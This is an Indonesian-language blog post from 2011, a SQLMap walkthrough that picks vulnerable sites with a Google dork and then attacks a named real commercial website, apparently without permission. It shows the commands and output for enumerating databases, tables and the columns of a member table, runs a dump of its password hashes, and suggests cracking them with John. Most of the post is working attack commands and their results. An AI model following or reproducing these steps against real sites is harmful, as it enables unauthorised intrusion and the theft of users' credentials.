Searching...
November 9, 2011
Wednesday, November 09, 2011

Exploit Database dengan SQLMap

Hallo pembaca setia. Kali ini saya mau share tentang eksploitasi database bermodal << back | track. Saat ini banyak sekali aplikasi web yang menggunakan database sebagai data manager, selain mudah dalam menganalogikanny dengan script PHP, database juga relatif mudah dioperasikan. Tapi database juga memiliki kelemahan dalam pertahanan dan sekuritasnya. Makanya eksploitasi database relatif mudah dilakukan. 


Konsepnya adalah assessment, mapping, lalu auditing. Klasiknya dengan memanfaatkan Mantra untuk menjajal payload database yang kira-kira cocok. Mudahnya dengan menggunakan SQLMap untuk menentukan payload yang bisa digunakan untuk eksploitasi database.


Ribet ya? OK. Let's kicking ass!!!



Yang diperlukan:
  1. SQLMap download di sini.
Langkah pertama adalah memahami konsep SQL injection, untuk mempersingkat waktu, saya tidak akan menjelaskannya di sini. Secara garis besar, kamu harus memanfaatkan alamat web dengan embel-embel "blablabla.php?id=xx". Dimana "xx" adalah karakter unik yang merujuk pada sebuah database. Untuk mencari target URL seperti ini. Gunakan Google dork. Caranya, ketik ini pada Google search bar:

inurl:"php?id="


Lalu "Enter", dan beberapa website dengan embel-embel URL "php?id=" akan tampil. Pilih salah satu kemudian buka websitenya. Tekan CTRL + L lalu CTRL + C, ini berfungsi untuk mengkopi semua isi URL pada address bar. Lanjut, buka terminal, lalu ikuti modul berikut:

root@bt:~# cd /pentest/database/sqlmap/
root@bt:/pentest/database/sqlmap# ./sqlmap.py --help

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

Usage: python ./sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target url
[snip...]
     -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries

[snip...]


Setelah itu kita dapat mengetahui command dasar untuk menggunakan sqlmap, mulailah bereksplorasi (= Kali ini saya menggunakan website:

http://www.esteler77.com/product.php?subnav=14&subs=18




Lalu saya menggunakan perintah ini untuk mengeksploitasi database website ini:


root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" --dbs


Keterangan:


-o untuk mengoptimasi kerja sqlmap
--url adalah target URL yang akan dieksploitasi
--dbs adalah untuk memunculkan nama database yang ada


Berikut hasilnya:

---
Place: GET
Parameter: subnav
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: subnav=17 AND 4747=4747

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: subnav=17 AND SLEEP(5)
---

[21:11:21] [INFO] manual usage of GET payloads requires url encoding
[21:11:21] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL 5.0.11
[snip...]
available databases [3]:
[*] admesteler_esteler77
[*] information_schema
[*] test

[21:11:21] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'

[*] shutting down at: 21:11:21





Ada 3 database yang ada, yaitu:
[*] admesteler_esteler77
[*] information_schema
[*] test



Lalu untuk melihat tabel dari sebuah database, saya menggunakan perintah ini:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 --tables

Keterangan:
-D adalah nama database yang akan dienumerasi
--tables adalah opsi untuk menampilkan table pada database yang tadi sudah kita tentukan


Hasilnya:


Database: admesteler_esteler77
[25 tables]
+------------------+
| tblactivemember  |
| tbladministrator |
| tblbanner        |
| tblconfig        |
| tblfranchisee    |
| tblimagemenu     |
| tblinbox         |
| tbllocation      |
| tblmailque       |
| tblmailsubscribe |
| tblmailtemplate  |
| tblmember        |
| tblmenu          |
| tblmenuwidget    |
| tblnews          |
| tblnewsletter    |
| tbloutlet        |
| tblproduct       |
| tblpromo         |
| tblreport        |
| tblstaticpage    |
| tblsubject       |
| tblupload        |
| tblvacancy       |
| tblwidget        |
+------------------+

[21:15:30] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'

[*] shutting down at: 21:15:30



Terlihat ada 25 tabel yang berhasil dienumerasi. Jika kamu mau menampilkan colom pada suatu tabel, maka gunakan perintah ini:


root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --columns


Hasilnya:

Database: admesteler_esteler77
Table: tblmember
[11 columns]
+------------+---------------+
| Column     | Type          |
+------------+---------------+
| address    | text          |
| banned     | tinyint(1)    |
| datejoin   | int(11)       |
| email      | varchar(50)   |
| gender     | enum('M','F') |
| id         | int(11)       |
| name       | varchar(100)  |
| newsletter | tiny`nt(1)    |
| pass       | varchar(33)   |
| picurl     | varchar(200)  |
| point      | int(11)       |
+------------+---------------+

[21:18:02] [WARNING] HTTP error codes detected during testing:
403 (Forbidden) - 1 times
[21:18:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'

[*] shutting down at: 21:18:02





Ada sedikit error, tapi tak apa laaah (= Masih ketauan kok nama kolomnya. Liat tuh ada id dan pass! Lalu gimana cara untuk menampilkan data pada suatu tabel beserta kolomnya? Saya menggunakan perintah ini:


root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --dump


Keterangan:
--dump untuk mengumpulkan data pada suatu tabel.


Outputnya:





Tuh udah ada password-nya, tinggal siapin dictionary buat crack md5-nya dengan John. Selamat bereksplorasi (=



Written By
Blue Dragon


Supporters:
Red Dragon

4 comment:

 
Back to top!